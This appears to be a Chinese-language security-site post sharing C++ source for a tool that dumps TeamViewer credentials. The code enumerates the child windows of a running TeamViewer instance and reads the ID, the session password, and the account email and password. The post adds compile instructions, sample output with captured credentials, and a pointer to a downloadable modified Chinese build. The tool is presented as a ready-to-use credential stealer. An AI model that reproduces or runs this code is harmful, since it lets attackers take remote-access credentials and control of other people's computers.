Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.
PS:通过枚举子窗口转储TeamViewer ID,密码和帐户设置从正在运行的TeamViewer实例。
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <iostream> #pragma comment( lib, "kernel32" ) #pragma comment( lib, "user32" ) int status = 0; BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam) { const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "Allow Remote Control") != NULL) { status = 1; printf("TeamViewer ID: "); } if (strstr(BufferContent, "Please tell your partner") != NULL) { status = 1; printf("TeamViewer PASS: "); } return 1; } BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam) { const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "E-mail") != NULL) { status = 1; printf("E-mail: "); } if (strstr(BufferContent, "Password") != NULL) { status = 1; printf("Password: "); } return 1; } int main() { HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer"); if (hwndTeamViewer) { EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0); } HWND hwndAccount = FindWindow(NULL, "Computers & Contacts"); if (hwndAccount) { EnumChildWindows(hwndAccount, EnumAccountWindow, 0); } return 0; }
Compile with CL cl TeamViewerDump.cpp or with cl TeamViewerDump.cpp /EHsc Requirements TeamViewer must be running Tested only with English GUI of TeamViewer
C:\tools\Projects>TeamViewer_Dump.exe TeamViewer ID: 606 151 261 TeamViewer PASS: 3239 E-mail: hacked@account.com Password: FooPassword123 C:\tools\Projects>
补充1:malayke同学放出了他精心修改的中文版获取工具,大家可以到这个链接下载:Teamviewer_pwn_CN
补充2:中文版本已经过本站检测,没有问题,不放心的朋友可以自行虚拟机再度检测。